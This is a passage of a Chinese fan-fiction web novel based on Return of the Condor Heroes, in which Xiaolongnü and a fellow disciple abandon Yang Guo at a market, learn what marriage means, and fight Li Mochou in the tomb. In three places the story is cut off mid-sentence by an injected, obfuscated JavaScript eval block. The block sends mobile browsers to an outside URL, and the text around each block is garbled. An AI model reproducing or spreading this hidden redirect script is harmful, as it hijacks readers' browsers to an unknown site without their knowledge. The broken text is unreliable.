她们不食人间烟火太久,孙婆婆走后,古墓里确实再没有人下山采买。杨过说的这些,于她们而言并非全无用处。 可下一瞬,她们又同时想起林朝英临终前的话。 门规不可废。 小龙女摇头,声音仍轻:“古墓不收男弟子。” 小童子也道:“不可。” 杨过眼里的光一下暗了:“为什么啊?为什么不行?孙婆婆可以,我也可以!” 小童子本就因孙婆婆之死心里堵着,被他这样一嚷,眉头慢慢皱起。 杨过还在说:“我真的会照顾人。我不偷懒,我也不乱跑。我可以住在外面,不进你们的石室。我只想学一点武功,一点点就好。” 小童子伸出手掌。 “停。” 杨过一愣。 小童子看着他,神色极认真:“这规矩也不是全无变通。” 杨过刚要开口。 小童子继续道:“你若非要留下,也不是完全没有办法。” 杨过眼睛又亮了:“什么办法?” 小童子道:“割了下面。” 杨过没听懂:“什么?” 小童子目光往下一落,又平静地收回来。 “啊!” 杨过整个人像被雷劈住。 眼前这个白衣少年外表神仙一般的人,方才杀人时干净利落,如今说起这样可怕的话,竟也同出剑一样平静。 杨过只觉背后一凉,两只手下意识往身前一捂,脸色青一阵白一阵。 小童子看他:“还要留下么?” 杨过嘴唇动了动,一个字也说不出来。 小龙女站在小童子身后,眼睫微垂。 无人看见的地方,她唇角极轻地扬了一下。 那笑意很浅,转瞬即逝,因着小童子这几句话说得一本正经,竟难得露出几分古墓之外的少年气。 小童子没有回头,自然也没看见。她只觉得这小子终于安静了,便转身往前走。 小龙女上前,牵住她的手。 两人沿着山路继续往外。 杨过跪在原地,半晌才慢慢爬起来。 要他从此不做男人,他实在无法选择。 可要他就这么离开,他又觉得胸口堵得厉害。古墓派的轻功在他眼前飞来飞去,像一只明明能救命、却偏偏不肯落到他手里的蝴蝶。 他垂头丧气地跟上去。 过了一会儿,他又忍不住小声问:“那……不净身,真的一点都不教?” 两人都没理会他,只牵着手径直往前走。 山林很深。 前方仍不见人烟。 而山上,活死人墓前,那些为怒火、贪念和传言而来的人,已经在玉蜂的嗡鸣声中,第一次尝到了古墓的拒绝。 15. 集市 山林仍旧很深。 小童子牵着小龙女的手,沿着林间小道往外走。那道与其说是路,不如说是被马蹄和车轮反复踩出来的一条浅痕。泥土被压得稍实些,两旁却仍是郁郁葱葱的杂草,野藤缠着树根,细叶上还挂着山间水汽。 小童子起初还睁大了眼睛。 原来外面的天这样高,也这样亮。 古墓外也有天,也有树,也有山风。可那一片天总被山崖和古松切得窄窄的,像石室顶上漏下来的一线光。如今她顺着山道往外走,才发现头顶乌云密布,天色阴沉,却仍旧亮得很,也远得很,远得仿佛怎么伸手都碰不到。 树也很多。 一棵接着一棵,一片连着一片,像永远走不到头。 小童子看了一会儿,心里生出一点惊讶。 原来外面这样大。 她原以为,这样大的地方,里面总该藏着什么很特别的东西。 不然师姐为什么总往外看? 可走得久了,她又慢慢觉得,这景色和终南山似乎也没有什么不同。 树还是树。 山还是山。 风吹过来,也仍旧带着松叶和湿土的气味。 小童子看着前方,心里忽然生出一点疑惑。 师姐为什么能在外面待那么久? 若外面只是这样的树、这样的山、这样的风,那和古墓外头又有什么区别?李莫愁当年站在墓门前看了那么久,难道看的就是这些么? 小童子想不明白。 小龙女则全无这些念头。 她只想快些碰到人,把杨过安顿下,然后与小童子回古墓。 孙婆婆没了,往后饭食自然麻烦许多。但古墓中有玉蜂,蜂浆可食;石室外有冷泉,露水也可解渴。她并不觉得这样有什么不好。 比起山下的人间,她更在意今日那一战。 真正与全真教交手之后,她对玉女心经又有了一点新的体会。全真剑法与玉女心经相生相克,若将今日的变化带回石室,与小童子一起拆开细细推演,或许能让掌心剑更稳。 她想快点回去。 回练功室。 回寒冰床。 回只有她与小童子的地方。 杨过跟在后头,闷闷不乐。 他不敢再喊师父,也不敢再提留下的事。可眼睛仍不时偷偷瞟向前面两人交握的手。他心里又羡慕又不甘,觉得自己若能学到她们半分本事,哪里还用怕全真教那群人。 三人绕过山脚,又走了许久,前方终于传来人声。 起初只是几句模糊吆喝。 再往前,声音便越来越多,越来越杂。 转过一片树林,眼前豁然开朗。 市集到了。 小童子停住脚步。 她从未见过这么多人。 道路两旁挤满摊子,卖菜的、卖布的、卖糖糕的、卖竹篮木桶的,挨挨挤挤排过去。有人挑担叫卖,有人牵着驴穿过人群,有小孩举着糖人跑,也有妇人停在摊前讨价还价。人们摩肩接踵,一张张脸从她眼前晃过,声音叠着声音,像一大群失控的玉蜂在耳边嗡鸣。 小童子心里生出一种很奇怪的感觉。 这就是师姐喜欢的世界么? 好吵。 比杨过哭还吵。 她不喜欢。 可就在她这样想的时候,旁边一个卖糖糕的汉子正把油纸包递给一个小孩。那小孩双手捧着糖糕,烫得直缩脖子,却还是笑得眼睛弯起来。他身旁的妇人伸手替他擦了擦嘴角,又低声骂了一句什么,脸上却也带着笑。 小童子看了他们一眼。 糖糕的甜香混在热气里飘过来,很软,很暖,和古墓里的蜂浆并不一样。 她仍旧不明白。 不过是一块热糕而已。 这样的东西,和师姐有什么关系? 小龙女也皱了皱眉。 那皱眉极轻,却足够让小童子察觉。古墓里又冷又静,从没有这样密密麻麻的人声。每一句话都没有恶意,却每一句都像碰到了她们身上。 杨过却像重新活过来一般。 他看见糖糕摊,眼睛动了动;看见卖馄饨的热锅,又忍不住咽了一下口水。比起古墓和山林,这里才是他熟悉的地方。 小龙女看了他一眼。 方才在山道上,他一直垂着头,满身都是不情愿。到了这里,他却连眼神都变了。那些吆喝、热气、人影,对她和小童子来说都是纷扰,对杨过来说却像鱼回到了水里。 她忽然明白,这孩子真的不适合古墓。 古墓里没有这样的热汤,没有糖糕,也没有这么多人。他若留在那里,只会一日比一日吵,一日比一日不甘。 小龙女道:“他留在这里。” 小童子点头,转身看杨过。 “你选一个人,以后就和他生活。” 杨过:“啊?” 小童子认真重复:“选一个。” 杨过被她说法震得半晌没回过神。 他环顾四周。 这些人他一个也不认识。有挑担的,有卖肉的,有乞丐,有赌徒模样的人,还有笑眯眯看不出好坏的商贩。眼前这个人却叫他随便挑一个,然后跟人走。 她难道不怕自己遇到坏人? 不怕他被卖了? 不怕他又被欺负? 杨过这时候才真正明白,眼前这两个人不只是像不食人间烟火的仙人。 她们是真的不食人间烟火。 对俗世的事,她们几乎一点都不懂。 更让他难受的是,小童子说这些话时,并没有半点作弄他的意思。 她不是故意羞辱他,也不是想看他出丑。 她是真的觉得,只要把他交给一个看起来不坏的人,再给些银子,这件事就算安置好了。 好像他不是一个会害怕、会记仇、会想留下的人。 只是一个需要被放到别处去的麻烦。 小童子见他不说话,便自己环顾一圈。 她很快看见路边有个老婆婆在卖菜。那老婆婆头发花白,面前摆着几筐青菜、萝卜和葱,衣裳虽旧,却收拾得干净。 小童子觉得这人不错。 年纪大。 卖菜。 看起来也不像全真教。 主要是杨过喜欢孙婆婆, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17750828|209414||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 那这个婆婆他可能也喜欢。 于是她伸手拎起杨过,几步走到那老婆婆摊前,把他往旁边一丢。 杨过摔在地上,痛得哼了一声。 老婆婆也吓了一跳,连忙往旁边躲:“哎哟,这是做什么?” 小童子牵着小龙女走过去,从怀里摸出一些银子,递给老婆婆。 “这些钱给你。” 老婆婆愣愣看着她。 小童子指了指地上的杨过:“以后这个人就跟你生活。你去哪,他就去哪。” 老婆婆张着嘴,一时不知道该接话。 这人说话实在奇怪。 什么叫这个人就跟她生活? 可她看了看那些银子,又看了看地上那孩子。杨过虽衣衫破旧,眼睛却亮,模样也机灵,若真能帮她挑菜卖菜,倒也不是坏事。 老婆婆心里已经有些动摇。 杨过却猛地爬起来,一把抢过那些银子。 “不行!” 小童子看他。 杨过又气又急:“你怎么这样?随随便便把我扔给别人?你都不知道她底细!万一她是坏人怎么办?” 老婆婆立刻不乐意了:“你这孩子,怎么说话呢?” 杨过顾不上她,只瞪着小童子。 小童子却说:“那就是你的事了。” 杨过一噎。 小童子道:“你自己选人吧。我们走了。” 说完,她牵着小龙女转身便走。 杨过一下慌了。 “等等!” 他往前一扑,伸手想抓小童子的衣裳。 小童子像背后生眼一般,身形轻轻一偏,便避开了他的手。下一瞬,她足尖一点,牵着小龙女没入人群。 市集人潮汹涌。 杨过眼睁睁看着那两道白影在杂乱人影间一晃,竟像水滴落进河里,很快便消失不见。 他站在原地,手里还攥着那锭银子。 老婆婆在旁边看着他,迟疑道:“孩子,你……” 杨过没有理会。 他只盯着那两人消失的方向,胸口又急又空。 小童子和小龙女已经走远。 人群对她们而言并不难穿过。小童子脚步轻,衣摆一侧便避开挑担的人;小龙女更像一缕冷风,从人群缝隙间无声滑过。两人始终牵着手,掌心内力相连,像在这嘈杂人间里系着唯一清楚的路。 小童子低声道:“好吵。” 小龙女道:“嗯。” “师姐真的喜欢这里么?” 小龙女没有回答。 这个问题,她仍旧不知道答案。 但她知道自己不喜欢。 也知道小童子不喜欢。 既然不喜欢,就不必久留。 小龙女反手握住小童子的手,道:“回去。” 小童子点头。 两人继续往人群外走。 身后市声鼎沸,热汤翻滚,糖糕甜香,布摊上的红蓝绸缎被风吹得轻轻晃动。 这些都是李莫愁曾经走入过、也许喜欢过的人间。 可小童子只觉得陌生。 陌生得像一场太吵的梦。 16. 娶 小童子和小龙女一路往人少处走。 市集里的声音仍旧从身后追来。叫卖声、讨价还价声、车轮碾过石板的声响,还有孩童追逐时尖细的笑声,混在一起,像一张没有边际的网。那些声音并不锋利,却无处不在,每一句都像从不同方向伸来的手,拉一下她的袖子,碰一下她的肩。 小童子不喜欢这张网。 她想把这些声音都甩开。 她牵着小龙女的手,从卖布的棚子旁绕过,又避开一辆装满菜筐的驴车。小龙女跟着她,神色依旧淡淡,只是眉头仍有一点极浅的痕迹。 小龙女却觉得满。 人满,声音满,气味也满。 油锅里炸糖糕的甜腻气,茶炉上滚水的热气,菜叶上湿土的腥气,还有不知从哪里飘来的胭脂香,都混在风里。古墓里有石壁,有冷泉,有蜂房,有极深极静的甬道;可这里什么都挤在一起,没有一处空隙。 小龙女每往前走一步,便觉得有许多看不见的东西想要撞到身上。 小童子察觉她指尖微微收紧,忍不住看了小龙女一眼。 小龙女也正看她。 两人都从对方眼里看出同一个意思。 回去。 她们正要穿过一处茶摊,忽然听见旁边有人提到终南山。 小童子脚步一顿。 小龙女也停下。 两人对视一眼,没有立刻走。 茶摊旁坐着几个赶路人,正端着粗瓷碗喝茶。一个瘦高汉子压低声音,却又压得不够低,像生怕旁人听不见似的:“你们听说没有?终南山活死人墓,这几日可热闹了。” 旁边人立刻接话:“谁没听说?听说全真教都去了。” “不止全真教。”那瘦高汉子神秘兮兮道,“还有蒙古王子,还有许多江湖好汉,都是冲着墓里那位掌门去的。” “活死人墓?那不是死人住的地方么?” “呸,死人哪有这等艳福?”瘦高汉子把茶碗往桌上一放,“那墓里住着一位掌门,年纪轻轻,美得不可方物。” 旁边一个满脸胡茬的汉子立刻问:“有多美?” 瘦高汉子想了想,仿佛自己亲眼见过似的,压低嗓子道:“听说她一身白衣,冷得像雪,眼睛一看人,人魂就没了。谁若能娶了她,不但得一位天仙似的美人,还能得到古墓里藏着的无上至宝。” “什么至宝?” “金银珠宝,武功秘笈,数不胜数!” 茶摊旁顿时一片吸气声。 有人不信:“你怎知道?” 瘦高汉子立刻瞪眼:“江湖上都这么传!全真教就在终南山上,他们能不清楚?若不是确有其事,蒙古王子和那么多高手去做什么?难道去山上看松树?” 众人哄笑。 又有人道:“我还听说,那墓里机关重重,进去的人九死一生。可若能入得墓门,便能看见满壁金砖,夜明珠照得甬道像白日一样。” “我听的不是这样。”另一个人凑近些,“我听说古墓里有个寒玉床,人睡一夜,抵得上十年苦功。” “胡说,哪有这样的床?” “你才胡说!我表兄的邻居的堂弟,就是从一个全真道士那里听来的。” 小童子听得一脸疑惑。 古墓中确实有些林朝英留下的钱财,也有武功石刻。寒玉床也确有其物。可这些人说得好像墓里堆满金山银山,谁进去了便能搬出半个天下。 更奇怪的是前面那句。 小龙女神色不动。 她对于旁人口中的“天仙”“美人”“至宝”都没有什么感觉。那些字眼落到耳中,像石壁上滚过几粒沙,很快便没了痕迹。她只是听见许多人要往古墓去,心里觉得麻烦。 小童子却还停在那个字上。 娶。 这字她从没听人说过。 古墓里没有人娶谁。 师父不娶人,孙婆婆不娶人,师姐走时也没说自己要去娶什么人。她和小龙女一起练功,一起吃蜂浆,一起睡寒玉床,也从没有谁说过这叫娶。 小童子看向小龙女,认真问:“龙儿,娶是什么意思?” 她声音不大,却清亮。 茶摊旁几个人听见,先是一静,随即爆出一阵大笑。 “哈哈哈哈!” 小童子今日束发短衣,眉目又还没有完全长开,清亮里带着几分少年气。她站在小龙女身边,牵着小龙女的手,旁人一眼看去,便都把她当成了哪家不知世事的小公子。 “这小郎君多大了,连娶都不知道?” “怕不是哪家深闺里养出来的傻公子?” 小童子皱眉。 她不明白这些人在笑什么。 小龙女也不明白。 附近一个卖炊饼的大妈正好听见,转头瞧她们。只见两个少年模样的人并肩站着,一个清冷如雪,一个眉目明亮。年纪虽还轻,却已快是成人身量。衣料看着不差,气质又不像贫家孩子,可举止间又全无大户子弟的世故。 尤其是她们双手交握,站得极近。 那大妈眼睛一转,顿时起了促狭心思。 她笑呵呵道:“娶啊,就是成亲。” 小童子更疑惑:“成亲又是什么?” 茶摊旁笑声更大了。 大妈忍着笑,正要开口,市集另一头忽然传来一阵铜锣声。 “当!” 几个孩子欢呼着跑过去。 “皮影戏开了!” “今天演抢亲!” 小童子听见“亲”字,又看向小龙女。 小龙女也看向她。 两人都不知道那是什么。 那卖炊饼的大妈见她们神情认真,越发觉得有趣,伸手往那边一指:“你们要问成亲,不如去看那出戏。今日正演才子娶小姐,保准一看就明白。” 小童子想了想。 她不喜欢这里。 可她想知道“娶”是什么意思。 小龙女也想知道。 那些人说要娶她,可她并不知道那究竟是什么事。这个字既然落到了她身上,她也该弄清楚。 于是两人牵着手,顺着人流往铜锣声处走去。 茶摊后头搭着一方小小的白布幕。布幕后点着灯,几个皮影小人贴在幕上,随着艺人手里的竹杆晃动。一个头戴纱帽的影子摇摇摆摆地出来,另一个披着长袖的女子影子低头站在旁边,旁边还有媒婆模样的人物,扭着腰,声音又尖又亮。 小童子从没见过这个。 她停在最外侧,望着白布上的影子。 那些人明明扁扁的,没有脸,也没有呼吸,可一动起来,竟像有自己的性子。媒婆一摇扇子,台下便笑。书生一作揖,旁边的孩子便跟着学。小姐影子低头,众人又起哄。 小童子看得很认真。 小龙女也看得很认真。 只是她们认真看的地方,和旁人完全不同。 旁人看热闹。 小童子看那几根竹杆。 她很快发现,皮影人自己不会动,是后面的人让它们动。它们看似相遇、分开、追逐、争抢,其实都被一只手牵着。 这倒有些像古墓里的机关。 小龙女看的却是台下的人。 白布上的影子不过薄薄一片,刀也是假的,哭也是假的,许诺也是假的。可那些人看见书生跌倒,便一齐皱眉;看见媒婆扭腰,便又一齐发笑;看见小姐被恶霸拦住,几个孩子还急得往前挤了半步。 小龙女有些不解。 她想,原来外面的人不只会被真刀真剑牵动,也会被一片影子牵动。 布幕后传来艺人的唱词,咿咿呀呀,拖得很长。 小童子听不懂唱腔,却听懂了几句白话。 原来戏里那位书生要娶小姐,媒婆在中间说合,小姐家里不愿意,便有恶霸也来抢亲。书生说自己一片真心,恶霸说自己有钱有势,台下众人听得一阵笑一阵骂。 小童子越看越疑惑。 她低声问:“龙儿,娶要这么多人在旁边喊吗?” 小龙女想了想:“不知道。” 小童子又问:“为什么那个矮胖影子说,谁给的钱多,小姐就归谁?” 她想了想,越发不明白:“娶是给钱买吗?” 小龙女道:“人不能买。” “对。”小童子点头,“人不是东西,不能用钱买。” 她停了停,又补充:“你更不是用钱就能买。” 小龙女看她一眼。 旁边有人听得忍不住笑了一声。 那是个挑担歇脚的妇人,怀里还抱着半包刚买的针线。她见这两个少年模样的人问得一本正经,便好心纠正道:“不是买。戏里那恶霸有钱有势,才把话说得难听。娶啊,是成亲,是两个人愿意在一起过日子。” 小童子立刻问:“过日子是什么?” 那妇人想了想,笑道:“就是一起生活,一起吃饭,一起睡觉。家里要烧火做饭,就一起做饭;屋顶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17750829|209414||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 漏了雨,就一起修屋;生了病,就有人守着。往后谁也不离开谁,这就叫成亲。” 小童子听得很认真。 小龙女也听得很认真。 原来如此。 一起生活。 一起吃饭。 一起睡觉。 不离开。 小童子低头看了看自己和小龙女交握的手。 她们从很小的时候就是这样。 孙婆婆做饭时,她们一起吃。孙婆婆不在了,她们一起生活。练功时,她看小龙女出剑,小龙女看她出掌。睡觉时,寒玉床很冷,她们挨得近些,便不觉得那么冷。 师姐走了。 师父也走了。 孙婆婆也没了。 可她和小龙女还在一起。 小童子恍然大悟。 她看向小龙女,神情比方才听见古墓宝藏还要认真。 “那我从小就娶了龙儿。” 茶摊和皮影戏前的人都听见了。 四周静了一瞬。 紧接着,便是一阵哄堂大笑。 有人笑得茶水都喷了出来。 “小郎君好大的口气!” “这般会说,姑娘怕不是早被哄走了。” “人家年纪不大,话倒说得漂亮。” 那卖炊饼的大妈更是笑得直拍手:“哎哟,这小郎君倒痴情。” 小童子不觉得自己说错。 她甚至觉得这些人听不懂话。 明明是他们说,一起生活、一起吃饭睡觉、牵着手不离开,就是娶。如今她照着他们的话说了,他们又要笑。 外面的人果然奇怪。 小龙女却没有笑。 她望着小童子,像是把方才那些话都在心里过了一遍。 一起生活。 一起吃饭。 一起睡觉。 不离开。 若这是娶,那童儿说得并没有错。 于是她认真地点了点头。 “对。” 她声音很轻,却清清楚楚。 “童儿很早就娶了我。” 她停了停,又道:“而我也娶了童儿。” 这一下,笑声反倒顿了一瞬。 众人看着她。 那清冷得不像人间姑娘的白衣少女,说这话时半点羞怯也没有,甚至不像是在玩笑。她只是平静陈述一件事实,像说今日风从北边来,像说山上有雪。 可也正因为她说得太真,众人愣过之后,笑声反倒更大。 小童子不知道众人又在笑什么,她想了想,又问方才那个解释成亲的人:“若已经娶了,别人还能再娶吗?” 那人被问得一怔。 旁边有人笑道:“自然不能。” 小童子立刻看向小龙女。 小龙女道:“不能。” 小童子放心了。 她又问:“若有人非要娶呢?” 这回没人立刻答话。 卖炊饼的大妈以为她仍在玩笑,便道:“那便是不讲理了。若是戏里的恶霸,就该被打跑。” 小童子点头。 她懂了。 那些说要来古墓娶龙儿的人,就是戏里的恶霸。 恶霸要被打跑! 这个道理比戏里的唱词好懂多了。 小龙女轻轻拉了拉她的手:“我们回去吧,这里太吵了。” 小童子立刻赞同:“好。” 两人不再理会旁人。 小童子牵紧小龙女的手,足尖轻轻一点,身形便从皮影戏旁掠起。小龙女随她而动,白衣一晃,两人如两缕轻烟,越过人群,踏过檐角,再一点树梢,转瞬便消失在街尾。 皮影戏前所有人都愣住了。 布幕后头的艺人手一抖,那书生影子啪地撞上了小姐。 片刻后,才有人“哇”了一声。 “原来是武林人士!” “这轻功……这轻功也太俊了!” 卖炊饼的大妈仰着头看了半晌,又低头笑起来:“我活了这把年纪,还是第一次见连娶都不懂的高手。” 众人又议论起来。 有人猜她们是哪家门派的弟子,有人猜那白衣姑娘是不是古墓里的人,也有人想起方才她们说“从小就娶了”,笑得停不下来。 布幕后头的皮影戏重新唱起来。 可方才看见那两道白影的人,心思已经不在戏里了。 小童子和小龙女已经听不见了。 17. 师姐 小童子和小龙女临近古墓入口时,先听见了哀嚎声。 那声音从林间断断续续传来,有人怒骂,有人惨叫,还有兵刃相击的杂乱声响。小童子脚步一顿,小龙女也停住。 两人对视一眼。 下一瞬,她们同时伏低身形,隐入草丛。 终南山草木深,半人高的野草与灌木交错生长,足以遮住身影。小童子牵着小龙女,沿着草叶间的阴影慢慢往前摸。她们走得极轻,衣角拂过草尖,连露水都没有惊落几滴。 越近,声音越清楚。 墓门外乱成一片。 对面树林里藏着不少人。除了全真教统一道袍的那群人,还有许多奇形怪状的江湖客。有人裹着兽皮,有人披着番僧袍,有人脸上肿得几乎看不出原样,正捂着头脸四处乱躲。 地上落了不少玉蜂。 也有更多人被玉蜂叮得像猪头,眼皮肿起,嘴唇翻着,痛得嗷嗷叫。 小童子看了片刻,眉头微微皱起。 她看见有人在收集干草干柴。 还有一部分人已经点起了烟火,用湿草压出浓烟,试图驱赶玉蜂。灰白烟雾在墓门前慢慢铺开,玉蜂不喜烟气,阵势果然稍乱了一些。 小龙女看向小童子。 小童子也看向她。 无需开口。 两人心领神会:趁他们自乱阵脚,进去。 两道白影从草丛中一闪而过。 墓门外众人正被蜂群和烟火搅得焦头烂额,谁也没看清那一瞬的轻影。小童子和小龙女贴着石壁掠入暗处,转眼便进了古墓。 墓内漆黑。 机关没有被触发。 小童子沿着墙壁走了几步,耳听四方,目看八方,很快判断出暗弩未发,翻板未动,迷道石门仍在原位。 看来根本没人进来过。 她心情竟轻了一些。 外面那些人进不来,杨过那个大包袱也被甩在山下。孙婆婆已入棺,师父旧训也没有被她们完全违背。往后整座古墓,仍旧是她和龙儿练功、打坐、睡觉的地方。 小龙女也像是松了一点。 她握着小童子的手,掌心内力轻轻一推,像在说:回来了。 小童子回推了一下。 是,回来了。 然而这点轻松只维持了片刻。 前方忽然亮起一点火光。 古墓里所有灯明明都被她们熄了。 小童子心中一惊,左手一转,长剑已横在身前。她身形微侧,挡在小龙女半步之前。 小龙女神色不变。 她只抬眼看向火光。 火光之中,有一道人影立在甬道尽头。那人手持火折,另一手握着拂尘,似乎也察觉身后有人,缓缓转过身来。 三人六目相对。 小童子呼吸一滞。 “师姐?!” 那人竟是李莫愁。 十年未见,李莫愁的身高变化不大,身形却已与记忆里不同。她肌骨更为结实,腰身仍窄,举手投足间带着多年行走江湖磨出的利落。她仍旧明艳,仍旧笑得好看,可那笑意里多了许多尘世味道,少了古墓旧日的清冷。 像一枝从冰壁里折出去的花,终于在红尘里开得艳了。 也生了刺。 李莫愁的目光先掠过小童子,又落到小龙女身上,最后停在两人交握的手上。 她笑意更深。 小童子原本因“师姐回来了”而骤然亮起的一点欢喜,忽然凝住了。 她读不懂李莫愁的眼神。 这个人外表仍熟悉,气息也熟悉,可里头像是换过了。那双眼里有玩味,有打量,也有一种小童子不喜欢的黏腻锋芒。 “师姐。”小童子问,“你是回来和我们一起住了吗?” 小龙女似乎没有留意李莫愁的不同。 又或者留意到了,也没有表现出来。 她只是把指尖轻轻按在剑柄上。 她比小童子更少念旧,也更少自欺。李莫愁站在那里,笑得像旧日师姐,可气息已经不是古墓中人。 她回来,不是回家。 她声音仍旧冷清平静,像问今日练哪一式剑:“师姐。” 李莫愁笑吟吟道:“师妹,你长得真是越来越美妙了。” 她又看向小童子,目光在她利落的短衣和束起的发上转了一圈。 “小童子,你倒是和小时候不太一样。身子骨硬朗结实起来,脸上的婴儿肥也没了。” 她尾音轻轻一挑,像从前逗她时那样。 “师姐回来了,怎么不哭一个来欢迎欢迎我?” 小童子心里泛起不舒服。 从前李莫愁也这样逗她。那时她觉得讨厌,却又欢喜,因为那是师姐在同她玩闹。可如今同样的话从李莫愁口中说出来,却像带着别的意思。 她分辨不清。 小童子忽然想起很久以前。 那时她还小,半夜醒来找不到人,坐在甬道口哭。李莫愁被她吵得睡不着,披着衣裳出来,黑着脸把她拎回石室,一边骂她娇气,一边又把自己的被角分给她半片。 那时师姐的嘴也坏,手却是暖的。 可如今那只手握着拂尘,指间带着江湖风尘,离她明明只有几步,却像隔了很远。 她最后只能道:“我很久没有哭过了。” 她停了停,仍问:“师姐,你还走吗?” 这话出口时,小龙女握着她的手紧了紧。 小童子看向小龙女。 小龙女面上依旧没有变化,可眼底多了一丝极淡的担心。 她在担心小童子。 若李莫愁再次离开,小童子会不会难过。 小童子轻轻回握。 她觉得自己应该不会再像从前那样难过了。 甚至在问出口的那一瞬,她已经知道,李莫愁不会留下。 师姐浑身都是俗世的气息。 她的眼神,她的笑容,她的衣物,甚至她站在古墓甬道里时与黑暗格格不入的姿态,都沾染着外面的颜色。 李莫愁没有回答她。 她只转了转火折,问:“师父呢?孙婆婆呢?” 小童子一怔。 李莫愁笑意淡了些:“我方才在墓中走了许久,都没有找到她们。” 她没有说的是,她确实走了许久。 太久没有回来,许多甬道都变得陌生。她差点在迷道里迷路,好不容易才凭着旧日记忆摸到孙婆婆常待的厨房附近,却只见冷灶与空室。 小龙女道:“师父已经去世了。” 她顿了顿,又道:“孙婆婆也是。” 甬道里静了一瞬。 火光轻轻晃动。 李莫愁沉默片刻。 她握着火折的手似乎极轻地颤了一下。 那一点颤意很快便没了。她垂下眼,火光照在睫上,像要往古墓深处看,又像不肯看。孙婆婆的冷灶,师父闭关的石室,旧日练功时滴水的声音,都在这一瞬从黑暗里浮出来。 可也只是一瞬。 然后,她慢慢举起拂尘。 “既然如此,”她声音骤然冷下去,“我的好师妹们,就把玉女心经交出来吧。” 小龙女道:“不给。” 她声音很轻,却没有半点迟疑。 “师父传我掌门之位,我便守古墓规矩。师姐若回来,我敬你是师姐;师姐若来抢,我便拦你。” 话音未落,小童子耳边风声骤起。 她左手挽出一个剑花。 叮叮数声,几枚银针被打落在地。 侧旁黑暗里,一道人影猛地扑出,直袭小童子。与此同时,李莫愁拂尘一展,银丝如雪,袭向小龙女心口。 小童子和小龙女终于松开了交握的手。 一人左手持剑,一人右手持剑,在昏暗甬道中迎上两道杀机。 伏击小童子的,是个年轻女子。 她眉目清秀,身法却远不如李莫愁。内力更浅,又不熟古墓路径,在昏暗墓道中每出一招都像被石壁逼住。 小童子几乎立刻判断出她的弱处。 这人不是古墓长大的。 更不是她的对手。 小童子从小在古墓里走到大,闭着眼也知道哪里是墙,哪里是地,哪里有半寸凸起的石棱可以借力。她从小的对手是林朝英,是小龙女。不久前,她还一剑取了郝大通性命。 对付眼前这人,实在太容易。 她甚至起了点捉弄心思。 长剑一挑,她先逼得那女子后退半步,随即足尖踏上石壁,身形一翻,整个人像消失在黑暗里。 那女子一惊,抬头去寻。 小童子却已从天花板上倒掠而下,剑背轻轻敲在她腕上。 兵刃落地。 又一脚点在她膝弯。 那女子痛呼一声,跪倒在地。 小童子顺手夺了她的武器,剑尖抵住她肩头:“别动。”又随手封了她的穴道。 另一边,小龙女独自对上李莫愁。 她没有用玉女心经剑,只混着美女剑法和天罗地网剑法,与李莫愁拆招。 拂尘银丝缠绕而来,小龙女抬手一格,长剑与银丝相击,发出极细的声响。她身形不疾不徐,步子却稳得惊人。李莫愁攻得狠,她便化得轻;李莫愁变招快,她便比她更快。 李莫愁越打越心惊。 小龙女竟毫不吃力。 而另一头,从前那个爱哭鬼小童子,不过几招便制服了洪凌波。 她心里一沉。 还好小童子没有上前同小龙女一起围攻她。 小童子只是踩着洪凌波的武器,站在一旁看她们打。 李莫愁忽然冷笑。 她与小龙女又拆数招,暗暗将冰魄银针扣在指间。下一瞬,她故意背身,佯装硬接小龙女一掌掌风,实则借回旋之势,反手将数枚冰魄银针甩向远处的小童子。 小龙女眼神骤变。 她不顾李莫愁后招,转身便追银针。 李莫愁旋即回身,拂尘袭向小龙女心窝。 远处,小童子看得分明。 她看见银针朝自己飞来,还未来得及惊,就看见小龙女不要命地转身救她。 那一瞬,身体比念头更快。 小童子手中的剑像有了生命,带着她向李莫愁刺去。 她迎着冰魄银针,去救小龙女。 而小龙女也不顾李莫愁后招,冲去打落冰魄银针,要救小童子。 刹那间,两人心意相通。 玉女心经自动运起。 甬道里寒意骤盛。 银针先至。 小龙女袖影一翻,长剑横扫,叮叮几声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17750830|209414||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' ,将那几枚冰魄银针尽数击落。针尖擦着小童子的衣袖坠下,钉入青砖,泛出幽幽蓝光。 拂尘也到了。 李莫愁银丝如雪,已卷到小龙女心口前三寸。小童子人还未落地,剑已先到,斜斜一挑,正截在拂尘与小龙女之间。银丝缠上剑锋,发出一声极轻的裂响。 小童子手腕一沉,硬生生把拂尘压偏半尺。 小童子没有中针。 小龙女也没有受伤。 两人错身而过,互相救赎,谁也没有回头,却都知道对方还在。 她们没有停。 